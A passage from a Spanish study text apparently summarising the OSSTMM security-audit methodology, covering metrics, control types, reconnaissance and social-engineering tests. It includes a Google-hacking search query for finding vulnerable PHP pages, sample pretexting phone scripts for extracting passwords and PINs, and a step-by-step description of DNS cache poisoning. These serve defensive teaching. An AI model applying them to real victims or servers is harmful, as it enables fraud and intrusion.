mayores pérdidas
•Privacidad: Todos los tests deben de realizarse sin vulnerar la privacidad de las personas. No solo
hay que tener en cuenta la legislación regional (en España la LOPD), sino que hay que hay que
tener en cuenta la ética, que muchas veces va por delante de la ley.
•Aspecto práctico: Los tests deben de ser prácticos, buscando la simplicidad (en oposición a lo
complejo), viabilidad y claridad.
•Utilidad: muchas veces, lo útil y lo seguro son opuestos. Cuanto más seguro es algo,
generalmente, es menos práctico, y los usuarios deciden no utilizar la política de seguridad impuesta
(por ejemplo, escribir contraseñas en post-its junto al monitor), por lo que todos los tests de este
manual buscan un nivel de seguridad útil (practical security).

Seguridad perfecta:

En la metodología, se sigue la técnica de “seguridad perfecta” donde el tester y el analista guían al

cliente, hacia lo que debería ser la seguridad perfecta, que puede contrastar con muchos aspectos,
como las buenas prácticas, la regulación de la industria, justificaciones de negocio etc.. donde el
cliente no puede permitirse el implementar esa seguridad “perfecta”. El resultado de esto, es la
seguridad perfecta para un cliente determinado, y el tester y analista, entonces, comprobarán el
estado de la seguridad real con esa seguridad perfecta.
En esta sección se incluye también una lista de buenas prácticas (teóricas) hacia la seguridad
perfecta, cuya lectura recomiendo, del documento original.

Métricas de seguridad

Esta parte, es de las más importantes de la metodología, ya que convierte el proceso de test de
intrusión/auditoría en algo medible, comparable y escalable. Además, en ellas se refleja no solo los
datos tangibles y referentes a la red, sino que también se ven que partes son inexactas o distorsiones
de resultados.
En esta metodología, a las métricas se las conoce como Risk Assessment Values (RAVs). Estos no
son análisis de riesgos en sí mismos, sino que proporcionan datos concretos para un análisis de
riesgos más concreto y real.

Aplicando Risk Assessment Values

Los RAVs están formados por tres hashes: operaciones, limitaciones y controles. Éstos, se
combinan para formar un cuarto hash: Seguridad Real, que proporciona la imagen total del sistema.
La naturaleza hash del sistema hace que sea infinitamente escalable, y comparable entre sistemas de
diferentes tamaños. Por ejemplo, con el RAV podríamos comprar un solo objetivo con 10000
objetivos.

Página 18
Sin embargo, el Actual Security (o seguridad real) solo puede ser calculado por el alcance original.
Si hubiera algún cambio en el alcance (como pudiera ser el número de objetivos, por ejemplo),
habría que recalcular los hashes. Ahora bien, también es posible, coger 2 (o más) ámbitos distintos,
y combinarlos para calcular una Actual Security para todos, considerarlo como un alcance más
grande.

Seguridad real
Tipo Descripción
Operaciones Las operaciones, conceptualmente podemos
entenderlas como los servicios que ofrece el
sistema. Éstas, están definidas por la visibilidad,
confianza y accesos que ofrece el sistema.
Controles Existen 10 tipos de controles. 5 de clase A y 5 de
clase B. Entre estos, podemos encontrar no sólo
aquellos controles que evitan accesos no
permitidos, sino que, por ejemplo, el servidor
esté asegurado contra incendios, de forma que
las pérdidas sean menores. Son controles de
impacto y reducción de pérdidas.
Limitaciones Es el estado actual de las limitaciones que
ofrecen las operaciones y controles. Por poner
un ejemplo, el ver que una cerradura está
oxidada es una limitación.

Seguridad operacional (OPSEC)

Como hemos dicho antes, la seguridad de operaciones, se subdivide en visibilidad, confianza y

accesos que ofrece el sistema. A continuación se muestra una tabla explicando estas partes con un
poco más de detalle. Aparece también un cuarto concepto, el de OPSEC Delta:

Categoría OPSEC Descripción

Visibilidad Es el número de objetivos pertenecientes al
alcance, y que se puede comprobar su existencia
de forma directa, indirecta o pasivamente. Es
decir, por ejemplo, si determinamos que hay un
servidor web que accede a una base de datos que
está en otra máquina, habremos encontrado 2
máquinas. Normalmente no es realista que haya
más objetivos visibles que objetivos haya
definidos en el alcance, sin embargo, es posible
que por malas configuraciones aparezcan
algunos que no deberían de ser visibles.
Confianza Una confianza, por ejemplo, podría ser el paso
de una habitación a otra, sin necesidad de tener

Página 19
 una llave (o tener la llave de todas las
habitaciones). Es el acceso sin autenticación a
algún objetivo. El sistema confía en que si una
persona ha llegado a un determinado punto,
puede llegar al siguiente.
Acceso Un acceso es un punto de interacción con un
objetivo. En la visibilidad, contábamos el
número de objetivos que había. Aquí, contamos
concretamente los accesos. Un ejemplo, podría
ser si podemos conectarnos a un servidor
mediante SSH y samba. Esto sería una
visibilidad de 1, pero hay 2 accesos. En el
manual se incluyen 3 ejemplos muy descriptivos
sobre los accesos.
OPSEC Delta Visibilidad + confianza + acceso.

Controles

La OSSTMM divide los tipo de control en dos grandes categorías. El tipo A (interactivo) y el tipo B
(proceso). A continuación presento los tipos y una descripción:

Tipo A

Tipo Breve descripción

Autenticación Para comprobar que la persona es quien dice ser.
Contar cada vez que el sistema requiera una
autenticación (por ejemplo, un login y pass).
Indemnización Sirve para amortizar las pérdidas que suponen la
pérdida o daño de un activo. Por ejemplo, el
tener asegurado un servidor. Contar cada
método que haya para precisar responsabilidad o
seguro que compense.
Subyugación Representa imposiciones que se hacen sobre
algo por alguien o algo superior. Por ejemplo, el
rellenar un formulario web y se compruebe en el
servidor en vez de en el cliente. Contar cada vez
que haya un acceso (aunque sea de confianza)
que no permite se controlen fuera de él.
Continuidad La continuidad se da cuando un activo sustituye
a otro cuando el segundo falla. Contar cada
método que haya por acceso (o confianza) que
asegure que no haya interrupción en la
interacción cada vez aunque algo falle.
Resistencia Se trata de la recuperación ante fallos. Es decir,
que cuando algo falle, pueda recuperarse
rápidamente y sin efectos colaterales. Contar por

Página 20
 cada instancia de método que se asegure que el
activo falla “de forma segura”.

Tipo B

Tipo Descripción
No-repudio El no-repudio significa que aquella persona que
realiza una acción no pueda negar que lo haya
hecho. Contar por cada instancia de acceso o
confianza que use algún mecanismo de no-
repudio. Un ejemplo de esto, sería que al
acceder a un edificio, sea cual sea el método de
acceso, se grabe con una cámara de video.
Confidencialidad Se encarga de que solamente las partes
autorizadas puedan leer la información
transmitida. Contar cada método que garantice
confidencialidad. Un buen ejemplo, sería el
codificar la información transmitida.
Privacidad La privacidad se entiende como el mantener
oculto el cómo se intercambia la información.
Por ejemplo, intercambiar información fuera de
la visibilidad de terceras partes (por ejemplo,
reuniones de trabajo en despachos cerrados).
Contar cada instancia para acceso o confianza
que mantenga oculto el método de interacción.
Integridad La integridad es el que la información
intercambiada entre las partes involucradas, no
se vea modificado por una tercera parte. Contar
para cada instancia de acceso o confianza que
use algún método que garantice que los datos
han llegado con integridad. Por ejemplo, usando
una hash o codificando los datos.
Alarma Es un control que notifica cuando algún evento
ha ocurrido. Contar cada evento de acceso o
confianza que registre o notifique cuando algún
evento ocurra.
Control Delta (Sumar todos los controles) * 0.1

Limitaciones
Las limitaciones de un sistema, describen el estado actual de su seguridad en cuanto a errores se
refiere. Éstos, se dividen en varias categorías: vulnerabilidades, debilidades, preocupaciones,
exposiciones y anomalías. Más adelante, en esta misma sección se ahondará en estos conceptos.
Existe la creencia, de que las limitaciones solamente son limitaciones cuando no tienen justificación
en el negocio. Puede que desde el punto de vista empresarial así sea, pero desde el punto de vista

Página 21
del auditor, lo son, y han de ser tenidas en cuenta. El auditor las recopilará en los informes, y será
responsabilidad del cliente el tenerlas en cuenta o no. El hecho de que quiera ponerles solución o
no, es una cuestión propia de la estrategia de negocio, donde el responsable de esos activos decidirá
si el riesgo que supone el perder (y recuperar) no justifiquen los costes de reparar o controlar esa
limitación. Además, existen otras razones, como la legislación vigente en la zona del negocio, que
impiden el controlar estos fallos. Por ejemplo, el leer el correo de los empleados para evitar
filtraciones de información está prohibido en España sin orden judicial.
Otro punto importante a tener en cuenta a la hora de contabilizar las limitaciones del sistema, es el
que se deberían contar los errores de seguridad por objetivo, y no los objetivos con errores. Es decir,
debemos hacer constancia de cada fallo que tiene cada objetivo.
A continuación presento una descripción de los tipos de limitaciones, y algunos ejemplos de ellos,
centrándome en las más relacionadas con telecomunicaciones o datos. Para más ejemplos, leer la
propia metodología. Incluye ejemplos de PHYSEC, HUMSEC, COMSEC data, COMSEC
telecommunications, SPECSEC.

Tipo de limitación Descripción y ejemplos

Vulnerabilidad Una vulnerabilidad es un error que impida el
acceso a personas autorizadas, o que no niegue
el acceso a las no autorizadas, o que permita el
ocultamiento de personas no autorizadas o
activos.
Ejemplo: Una vulnerabilidad que permita un
buffer overflow y de acceso a un atacante a
escribir zonas de memoria no autorizadas para
ganar permisos.
Debilidad Una debilidad es un tipo error que reduce los
efectos de controles interactivos de
autenticación, indemnización, resistencia,
subyugación y continuidad. Es decir, que afecta
negativamente a los controles o medidas de
reducción de riesgos y limitaciones a usuarios
malintencionados.
Ejemplo: que no haya un limite máximo de
intentos de login, no limitar servicios que
pudieran colapsar el sistema (DoS).
Preocupación Una preocupación aparece cuando no se siguen
las prácticas recomendadas de seguridad, pero
que el no seguirla no se muestra como un
peligro real.
Ejemplo: un servidor con un proceso fingerd
corriendo, y que no requiere el servicio de
FINGER.
Exposición Una exposición es el mostrar visible algún
activo de forma no justificada de forma directa o
indirecta.
Ejemplo: el mostrar banners de servicio muy
detallados y válidos (si no son válidos, no se

Página 22
 considera una exposición), o el que una máquina
responda a mensajes ICMP.
Anomalía Una anomalía es un elemento inidentificable o
desconocido, que no sea una operación normal.
Es decir, cuando ocurre algo en el sistema que
no esperamos que ocurra, y que no podemos
clasificar, o que no entendemos porqué ocurre.
Suele ser un signo de que hay algún fallo, o que
acabará ocurriendo.
Ejemplo: recibir respuestas de máquinas de las
que no esperábamos respuesta.

Seguridad real
Para poder medir el estado actual de la seguridad, se requiere un cálculo final para poder comparar
los distintos sistemas, la Seguridad Real. Ésta combina los tres hashes que hemos descrito
anteriormente (operacional, controles y limitaciones), y los combina en un cuarto.
Los parámetros que pasamos a describir a continuación, son utilizados a modo comparativo. El
valor que realmente interesa a la hora de entregar los resultados al cliente, es realmente los RAV,
que el propio ISECOM calculará en función de los resultados que se les envíe en las plantillas que
se adjuntan al final de la metodología. Para poder obtener el certificado de que se ha pasado la
auditoría OSSTMM con éxito, se deberá tener, al menos, un 95% en el RAV, y revisarse una vez al
año.
La forma exacta de calcular los valores que presento a continuación vienen descritas en un
documento en la propia web de ISECOM. Se recomienda su lectura solamente a desarrolladores,
aunque siempre es interesante echarles un vistazo para poder tener en cuenta que es lo que estamos
haciendo:
1.Delta real: Opsec Delta + Control Delta – Limitaciones Delta. Debemos recordar que el Control
Delta, es la suma de todos los controles multiplicado por 0.1. Éste parámetro es útil para poder
estimar el cambio en delta que la solución que el cambio en el sistema aportará.
2.Seguridad real (total): es el estado real de la seguridad presentado como un hash de las tres
secciones, y representado en un porcentaje donde el 100% representa un balance entre los controles
por puntos de interacción vs activos sin limitaciones.

Secciones y módulos
En la metodología, esta sección hace una descripción de consejos que deben de tenerse en cuenta a
la hora de seguir los módulos, secciones y tareas concretas a la hora de realizar el test de intrusión,
como por ejemplo el hecho de que se debe de ser imparcial a la hora de realizar las tareas para
poder obtener resultados de la forma más objetiva posible. Esto ya se ha descrito anteriormente en
el presente documento. Se habla también de que el tiempo es relativo, ya que no todos los sistemas
son iguales. Y no solo con respecto al tamaño, sino también a la complejidad del sistema.
En las próximas secciones, pretendemos describir los distintos módulos que existen en la
metodología, incluyendo experiencia propia, o investigaciones que se han ido realizando sobre las
mismas a lo largo de la realización del presente documento. Para poder consultar las tareas
concretas, y para poder realizarlas correctamente, remitimos al lector al documento original.

Página 23
Metodología
Los tests de seguridad empiezan con una entrada que es, en su forma mas precaria, las direcciones
de los sistemas a auditar. Los tests, terminan con el principio de la fase de análisis, y la elaboración
del informe final. La metodología no afecta a la forma, tamaño, estilo o contenido del informe final,
y no especifica como debe de ser analizado. Esto es tarea del tester y/o la organización.
La OSSTMM se divide en secciones, las cuales se dividen a su vez en módulos, y éstos, en tareas
concretas. Se debe distinguir, entre recolección de datos, y la verificación de los mismos. Es decir,
no solamente se deberá buscar fallos, vulnerabilidades etc, sino que además, se deberá comprobar,
efectivamente, que existen. Es por ello, que una metodología no debe de compararse con un simple
escaneo de vulnerabilidades o puertos. Para realizar la OSSTMM, además, hay que comprobar los
resultados obtenidos.
Al definir la metodología a seguir, es importante no delimitar la creatividad del tester: habrá casos,
en los que estándares o formalismos hagan que la calidad del test pueda mitigar, por lo que siempre
será el tester el que tenga la última palabra, y podrá realizar los tests según su experiencia y
creatividad. Cabe añadir, además, que muchas de las tareas son poco concretas y abiertas,
previniendo el que nuevas tecnologías o características dejen obsoletas estas tareas. Es comparable
pues, a las leyes jurídicas, donde suelen ser vagas y libres de interpretarse, para que puedan abarcar
mas casos, ya que sería completamente imposible definir toda situación posible y futura.
Cada módulo, está relacionad con el anterior y el siguiente, y entre secciones ocurre de forma
similar. Los datos y conclusiones obtenidas en un módulo, pueden servir para la realización de la
siguiente tarea. Por ejemplo, se pueden descubrir nuevos hosts para comprobar.

Sección A – Seguridad de la información

1. Revisión de la inteligencia competitiva

Este módulo, quizás sea el menos valorado de todos a la hora de realizar un test de penetración
(legal o no), ya que no es intrusivo, y se puede realizar sin ningún tipo de conocimiento técnico en
tests de intrusión.
Básicamente, se trata de recabar toda la información posible de la empresa auditada. Nos interesa,
sobre todo, el poder encontrar información para poder crear un mapa y estructura de las
instalaciones informáticas. Buscar la presencia en Internet que tiene la empresa. Es decir, se trata de
encontrar toda la información disponible que nos revele datos (sensibles o no) sobre la empresa.
Muchas veces, nos daremos cuenta de que mucha información puede ser recabada de forma legal,
en páginas webs, en la prensa, etc...
Resulta interesante, por ejemplo, recabar toda información relacionada a los servicios que pudiera
ofrecer la compañía (tales como números de teléfono, emails junto con personas de contacto,
páginas web, servidores FTP etc..), así como muchos otros de carácter menos técnico, aunque
puedan ser utilizados para, por ejemplo, ingeniería social. Algunos aspectos interesantes podrían
ser:

•Compañía de la cual depende

•Compañías dependientes de la misma
•Compañías hermanas
•Proveedores
•Clientes
•Productos que ofrece

Página 24
Cualquier IP relevante a algunas de éstas, podría ser útil al realizar el ataque. Consideraremos
relevantes las IP si éstas:

•Pertenecen a la organización
•Usadas por la organización
•Están registradas a nombre de la organización
•Sirve a la organización de alguna forma
•Está asociada a la organización

Cabe notar, que a la hora de realizar la auditoría, hemos de tener muy claro que la información
recogida en esta sección, puede estar tanto dentro, como fuera del alcance de nuestro contrato.
Como sugerencia de un software para realizar esta sección de forma ordenada, se ha hablado
últimamente de una aplicación de software libre, que permite realizar una revisión de la inteligencia
competitiva de forma ordenada. Esta aplicación se llama Maltego. Según su web oficial
(http://www.paterva.com/maltego/), describe Maltego como:
“Maltego es una aplicación de inteligencia y forense libre. Permite la minería y recogida de
información además de la representación de esta información de una forma útil.
Junto con sus librerías gráficas, Maltego, te permite identificar relaciones clave entre la información
e identificar previamente relaciones entre ella”.
A continuación muestro una captura de pantalla(Figura 1: ):

Figura 1:

Algo interesante para añadir en esta sección, es algo que parece estar extendiéndose en fama en
estos días, el Google hacking.
El Google hacking consiste en utilizar la potencia de almacenamiento y búsqueda de algunos
motores de búsqueda (en este caso, de Google), para buscar información sensible, o que no debería
ser pública, en las bases de datos del buscador. Éstas, se realizan mediante la utilización de palabras
clave o sentencias específicas, y suelen ser de gran ayuda para el auditor.
En su formato malicioso, puede ser utilizado para detectar servidores web (o páginas web) que sean
vulnerables a ciertas vulnerabilidades, o fallos de seguridad. También, sirven para buscar

Página 25
información sensible de otras personas, como tarjetas de crédito, passwords.
La forma de uso del Google hacking, es mediante el uso de operadores avanzados de filtro de
Google. Por ejemplo, la sentencia:
intitle:admbook intitle:version filetype:php
Busca todas las páginas web que contengan “admbook” y “version” en el título, y que la web
accedida es PHP. Esto es útil, ya que muchas páginas web, por defecto vienen con un texto
contenido en la web, que especifica la versión, y ésta podría tener una vulnerabilidad conocida.

2. Revisión de la privacidad
La revisión de la privacidad, se encarga de las partes éticas y legales referentes al almacenaje,
transmisión y control de datos de empleados y clientes. Se encarga de que se cumplan los derechos
de las personas dentro de una empresa, para que sus datos personales no queden al descubierto de
todo el mundo. Se refiere también, a como se distribuyen las contraseñas. No es lo mismo
transmitirlas mediante palabra, que por escrito, vía mail etc... Esto puede ser muy comprometedor
tanto para la empresa como para la persona afectada. Es común, encontrar muchas contraseñas
escritas en, por ejemplo, post-its pegados en el borde del monitor del puesto de trabajo.
A pesar de que muchas leyes son locales, todas se aplican a Internet, y por tanto, afectan a los
security testers internacionalmente. Es necesario pues, tener un conocimiento básico de estas leyes,
y las medidas necesarias para que la empresa pueda cumplirlas.
En lo que se refiere a España, las leyes mas famosas que guardan relación con la privacidad, son la
Ley Orgánica de Protección de Datos (LOPD) y la Ley de Servicios de la Sociedad de la
Información (LSSI o LSSICE). No entraremos en detalles sobre estas leyes, pero básicamente se
refieren a:
LOPD: objetivo principal es regular el tratamiento de los datos y ficheros, de carácter personal,
independientemente del soporte en el cual sean tratados, los derechos de los ciudadanos sobre ellos
y las obligaciones de aquellos que los crean o tratan .
LSSI:
•Las obligaciones de los prestadores de servicios incluidos los que actúen como intermediarios en la
transmisión de contenidos por las redes de telecomunicaciones .
•Las comunicaciones comerciales por vía electrónica.
•La información previa y posterior a la celebración de contratos electrónicos.
•Las condiciones relativas a su validez y eficacia.
•El régimen sancionador aplicable a los prestadores de servicios de la sociedad de la información.

3. Recolección de documentos
Esta sección, guarda cierta relación con el punto uno de esta sección (Revisión de inteligencia
competitiva), aunque esta se centra más, en aspectos más pequeños y concretos, como emails,
ofertas de trabajo etc... que se pueden extraer de la información o metadatos que incluyen los
documentos. Una herramienta interesante para realizar esto, podría ser FOCA(Figura 2: ). Se trata
de un programa para la descarga de ficheros ofimáticos de páginas web, extraer información oculta,
metadatos, y datos perdidos. También puede cruzar la información obtenida e intentar conseguir el
mapa de la red estudiada. Se creó para la gira Up To Secure y Blackhat Europe 2009.

Página 26
Figura 2:

Dispone también de una versión online(Figura 3: ), que puede ser muy útil para realizar esta sección
de forma rápida, y desde cualquier lugar que disponga de conexión a Internet.

Figura 3:

Sección B – Seguridad de los procesos

1. Testeo de Solicitud
Este tipo de testeo, es una rama de lo que se conoce como ingeniería social. En este caso, tratamos
de ganar acceso solicitando permiso al personal encargado de dar permisos de acceso, mediante el
uso de sistemas de comunicación (email, teléfono, etc...) haciéndonos pasar por otra persona.
Uno de los principios básicos de la ingeniería social dice, que “los usuarios son el eslabón débil”. Y
esto es muchas veces cierto. Muchas veces, los fallos de seguridad de la información no provienen
de la mala programación o configuración del sistema, sino de la gente no entrenada, poco precavida,
o simplemente indiscreta. Esto muchas veces se resuelve como una persona que utilizará Internet, o
el teléfono fingiendo ser, por ejemplo, un empleado de algún banco, una tercera empresa, cliente
etc.. en busca de algún tipo de información que le permita el acceso al sistema.
Un ejemplo sencillo, podría ser el hacerse pasar por el administrador, pidiendo a los usuarios por
email su contraseña para cualquier propósito legítimo. Esto muchas veces se ve en el día a día de

Página 27
cualquier internauta, cuando recibe el llamado “phishing” de alguna entidad, que pide el número de
tarjeta de crédito para realizar cualquier comprobación.
Esto, que parece tan simple, como es el “hacerse pasar por alguien”, es curiosamente un método que
suele resultar bastante eficaz, y mucho menos costoso que la búsqueda de fallos informáticos. De
hecho, es conocido por la web, que en una empresa llamada Boixnet, se hizo una encuesta, donde el
90% de los empleados de oficina de la estación de Waterloo, reveló sus contraseñas a cambio de un
bolígrafo barato. No se hasta que punto será cierto esto, ya que no he sido capaz de contrastarlo con
fuentes fiables, pero al menos nos deja ver, la importancia que toma en la red, el concepto de
“ingeniería social”. Además, encontrar ejemplos reales de ataques de ingeniería social suele ser
difícil, ya que las organizaciones que lo han sufrido no quieren admitirlo, o no ha sido documentado
formalmente, o quizás ni siquiera se dieron cuenta de que lo han sufrido. No obstante, existen un
par de ejemplos extraídos del International Secutity Institute:
Te llaman a medianoche:

–¿Ha estado usted llamando a Egipto durante las últimas 6 horas?

–No
–Bueno, pues tenemos registrada una llamada que está activa ahora
mismo, y está siendo efectuada desde una tarjeta de llamada a su
nombre, y además, está llamando a Egipto. Es más, tiene hasta
2000$ en llamadas de alguien que está utilizándola a su nombre.
Eres responsable de esos 2000$, tiene que pagarlo.... estoy
arriesgando mi puesto de trabajo, intentando deshacerme de esos
2000$, pero necesitaré leer su tarjeta, y el PIN, y entonces podré
quitarlo

Otro de los principios fundamentales de la ingeniería social, es el aprovecharse de la naturaleza

humana de querer ayudar. Las líneas de atención al cliente, son especialmente vulnerables a esto, ya
que están precisamente para ayudar, y los hackers malintencionados, aprovechan esta cualidad al
máximo. Además, la gente que trabaja en estos puestos suele tener muy poco entrenamiento en
cuestiones de seguridad, y un sueldo mínimo, por lo que los hace las víctimas perfectas.
Por ejemplo, en una demostración en vivo realizado por el Computer Security Institute:
Llamaron a una compañía telefónica, donde fueron transferidos aquí
y allá, hasta que llegaron a un puesto de atención al cliente.
–¿Quien es supervisor en guardia hoy?
–Betty
–Páseme con Betty
[En este momento, le transfieren con Betty.]
–Hola Betty, ¿está teniendo un mal día?
–No, ¿porqué?
–Su sistema parece caído
–No, mi sistema no está caído, parece que funciona correctamente.
–Mmmm prueba a salir y a volver a entraremos
[Betty sale y vuelve a entrar]
–No hemos notado ningún cambio. Sal y vuelve a entrar de nuevo
[Betty vuelve a salir y a entrar]
–Nada. Voy a tener que entrar como usted, y buscar a ver que está

Página 28
pasando con su ID. Dígame su ID y su password.

Como vemos, los ejemplos pueden ser bastante bien ideados e inteligentes, y gente que no ha sido
advertida, o poco entrenada, es propensa a dar sus datos.

2. Testeo de sugerencia guiada

Este módulo, también es una rama de la ingeniería social. En muchos aspectos, coincidirá con el
módulo anterior, es decir, que no son mutuamente excluyentes.
La diferencia básica entre ellos, es que en este caso, el atacante se hace pasar por otra persona, e
invita a otra a visitar un lugar externo (por ejemplo, una página web, o cuenta de email).
Uno de los primeros ejemplos que se pueden ver, es el phishing, del cual ya hemos hablado en el
apartado anterior. Puede ser, simplemente, que esa persona envíe los datos al atacante, o que la
víctima visite una web que el atacante indique, donde tendrá preparada algún sistema para
atacar/engañar a la víctima.
Sistemas para atacar usando el sistema de invitar a la víctima a visitar un enlace hay muchos.
Por ejemplo, el invitar a la víctima a una página web que es completamente idéntica a la oficial
(supongamos la página web de un banco), donde se le pide al usuario que introduzca sus datos
(usuario, contraseña, PIN de la tarjeta de crédito etc...), y le haga click en enviar/confirmar.
Entonces, la página web envía los datos al atacante, que puede leer los datos, y utilizarlos.
Una forma de evitar esto, sería el mirar la dirección web, y asegurarse de que no es extraña, y que
pertenece a la web oficial. Esto último, da pie a hablar de un fallo de seguridad que surgió el verano
pasado: el fallo del DNS.
El fallo fue descubierto por Dan Kaminsky, conocido investigador en seguridad que trabaja para
IOActive. Fue muy aplaudido por su forma de tratar su descubrimiento, alertando a las autoridades
pertinentes, y tras unos meses, explicar el fallo a la comunidad.
El fallo en cuestión, permitía a un atacante, redirigir clientes a servidores alternativos de su
elección, los cuales podía utilizar con fines fraudulentos.
A continuación se describe con detalle como funcionaba el supuesto fallo:
Suponiendo que el lector sepa como funciona una consulta DNS correcta, pasamos a recordar los
campos mas importantes de un paquete DNS(Figura 4: ):

Página 29
 Figura 4:

De este paquete, nos interesan especialmente los siguientes campos:

● Source/Destination IP address: son las direcciones origen y destino respectivamente.
● Source/Destination ports: puertos origen y destino respectivamente. El puerto destino del
primer paquete será siempre 53/UDP, ya que los servidores DNS, escuchan en este puerto
normalmente.
● Query ID: identificación de petición. Sirve para que, los servidores puedan emparejar las
respuestas con las peticiones recibidas, ya que un servidor suele recibir muchas peticiones
simultáneamente.
● RD(Recursion Desired): sirve para indicar si se desea recursión (se marca con un 1), o no
(se marca con un 0) para las consultas DNS. No todos los servidores de nombres ofrecerán
recursión.
● Answer/authority/additional record count: sirven para indicar distintos tipos de respuesta
para la petición que efectuó el cliente.
● DNS Question/Answer data : este campo contiene los datos de la pregunta/respuesta de los
campos anteriores. Por ejemplo, la tupla nombre de dominio – IP.

Una vez conocidos estos campos, podemos explicar como funciona el fallo de DNS, o más
correctamente, el envenenamiento de caché (cache poisoning).
El envenenamiento de cache de DNS no es tan sencillo como simplemente enviar paquetes
aleatorios al servidor de nombres (al contrario que otros envenenamientos, como ARP), ya que el
servidor de nombres sólo acepta respuestas de peticiones que aún tiene pendientes.
¿Como sabe un servidor de nombres que espera un determinado paquete?
–El paquete llega al mismo puerto UDP desde el que se envió.
–La sección pregunta/respuesta (que está duplicada en la respuesta del paquete), coincide con la
pregunta/respuesta de la petición pendiente.
–La Query ID coincide con la petición pendiente.

Página 30
–Que las secciones de Authority y Additional contienen nombres que se encuentran dentro del
mismo dominio que la pregunta. Esto se conoce como "bailiwick checking".

Si se satisfacen todas estas condiciones, el servidor de nombres aceptará la respuesta como válida, y
almacenará en su caché la nueva tupla nombre de dominio – IP.
Ahora bien, ¿como conseguimos que se den todas estas condiciones?
El fallo, surge del hecho de que es fácil adivinar el Query ID, ya que en los antiguos servidores de
nombres, el Query ID simplemente aumenta en uno en cada petición que envía, y esto hace que sea
fácil de saber cual será el siguiente mientras podamos conocer alguna petición.

Figura 5:
Podemos provocar al servidor de nombres que nos diga su Query ID, tal y como se expone(Figura
5: ):
1.El usuario malintencionado (bad guy en el diagrama) pregunta al servidor de nombres víctima por
un nombre en una zona para un servidor de nombres que él controla (en el ejemplo,
test.badguy.com). Podría también preguntar al servidor directamente, si permite recursión desde
donde se encuentra el usuario malintencionado, o también convencer a un usuario para que busque
un nombre, por ejemplo, incluyendo el nombre del test en una página web.
2.El servidor de nombres víctima recibe la petición y opera como lo haría normalmente, intentando
resolver el nombre de dominio en los servidores raíz.
3.La dirección test.badguy.com se resuelve en el servidor del usuario malintencionado (puesto que
es suyo.
4.Mientras tanto, el usuario malintencionado ha estado monitorizando el tráfico IP que pasa por su
máquina, y así captura la Query ID utilizada.
En este punto, ya tenemos la Query ID, aunque en realidad no hemos envenenado la caché, ya que
la dirección test.badguy.com era realmente lícita y perteneciente al usuario malintencionado. Pero,

Página 31
ahora, ya conocemos como podemos predecir el Query ID, además de otros datos como el puerto
UDP, ver los servidores de nombres que se han ido consultando etc. Ahora, veamos como
finalmente podemos utilizar esto para finalmente envenenar la caché (Figura 6: ):

Figura 6:

–Paso 1: El usuario malintencionado envía una petición DNS al servidor de nombres víctima del
hostname que quiere “falsificar” (www.bankofsteve.com). En el ejemplo, se asume que el servidor
de nombres víctima permite peticiones recursivas desde la zona del atacante.
–Paso 2a: Sabiendo que la víctima está a punto de hacer una consulta de una dirección IP a
ns1.bankofsteve.com(redirigido desde los servidores raíz), el atacante empieza a lanzar múltiples
peticiones a la víctima con paquetes DNS de respuesta, simulando que provienen de
ns1.bankofsteve.com (servidores globales), con el nombre del dominio a secuestrar, y la IP del
servidor web del atacante.
–Pasos 2b y 3: La consulta DNS se realiza normalmente, respondiendo a la víctima que consulte el
servidor ns1.bankofsteve.com.
–Paso 4: el servidor de nombres víctima pregunta a ns1.bankofsteve.com por la dirección IP de
www.bankofsteve.com, y utiliza el Query ID 1001 (uno mas que la Query anterior).
–Paso 5: El servidor de nombres real responde a la Query con Query ID?1001. Pero, como el
atacante ha estado enviando muchas respuestas en el paso 2a, la respuesta “legal” llega demasiado
tarde, por lo que se descarta.

Página 32
–Paso 6: Ahora, en la caché del servidor de nombres víctima está la dirección fraudulenta, y a partir
de ahora, siempre que se le consulte, responderá con la dirección IP del atacante.

¿Porqué ha sucedido esto? El problema, es que se acepta la primera respuesta correcta, aunque haya
recibido muchas incorrectas, y continúe recibiendo correctas después.
Cabe destacar unas cuantas cuestiones sobre el tema:
–El nombre NO DEBE estar en la caché antes del ataque. Si la dirección estuviera ya en la caché, no
se efectuarían consultas, por lo que hay que esperar a que caduque en la caché, y luego intentar el
ataque.
–El atacante, debe adivinar la Query ID, pero como vemos, esto es posible, ya que solo se
incrementa en 1 cada vez, por lo que el rango de pruebas suele ser pequeño aún en servidores con
muchas peticiones.
–Por último, hay que destacar, que la víctima debe recibir la respuesta correcta del atacante ANTES
de que se reciba la respuesta legal, por lo que debe de estar más próximo a él que el lícito (cercano
en cuanto a tiempo), sino, llegará tarde, y se descartará.

Este problema del DNS se ha conseguido solucionar, utilizando métodos para que sea más difícil
adivinar la respuesta del Query ID, y ha habido que parchear una gran cantidad de servidores a lo
largo de la web. Desde luego, el descubrimiento de esta brecha de seguridad dio mucho que hablar
en 2008, aunque parece que ya está solucionado.

3. Testeo de las Personas Confiables

Este es el tercero de los módulos que trata sobre ingeniería social. En este último, se distingue de
los demás, en el hecho de que en éste, lo que se busca es información privilegiada. No tiene porqué
ser un password, o conseguir permisos. Muchas veces, la mayoría de las personas no tiene ninguna
dificultad en revelar información sensible, lo cual, para una persona malintencionada puede ser muy
útil. Como ejemplo, muestro una situación ficticia, que aunque no está enfocada al mundo
empresarial, bien puede mostrar el alcance de este tipo de adquisición de información. El ejemplo
fue escrito por Antonio Villalón, en el blog perteneciente a la empresa S2 Grupo (empresa
Valenciana de Seguridad gestionada):
¿Qué hacer cuando dispones únicamente de un número de teléfono
móvil, sin más datos? Puedes poner un anuncio en coches
estacionados en diferentes zonas de la ciudad, pegado al cristal,
con un precio atractivo y ese número de teléfono. Pero eso no
supone ningún reto; sí que puede ser un reto tratar de conseguir
la información de esa persona; un poco de ingeniería social nunca
viene mal, y por suerte o desgracia, en este país si oímos la
palabra “GRATIS” damos hasta nuestra partida de nacimiento…
A partir del prefijo móvil se puede determinar con un alto nivel
de probabilidad la operadora de comunicaciones a la que pertenece,
con lo que una promoción de dicha operadora siempre es una buena
excusa; si ha habido una migración, pues la promoción se convierte
automáticamente en una oportunidad para antiguos clientes. El
resumen podría ser:
— “Le llamamos de XXXX para ofrecerle, una vez cotejados sus
datos, una promoción de llamadas a 0 céntimos, GRATIS, durante
todo el mes de agosto, sin letra pequeña”.
— Ah, dígame.
— ¿Es usted don Luis López, de Salamanca?

Página 33
— No, me parece que se ha equivocado.
— Vaya, lo siento, entonces no puede acceder a la promoción… en
cualquier caso, es usted cliente de XXXX, ¿verdad?
— Sí, sí, dígame…
— ¿Dispone usted de correo electrónico?
— Claro.
— Si me lo facilita, le enviaremos un e-mail y, simplemente por
responder al mismo y rellenar nuestro cuestionario, tendrá acceso
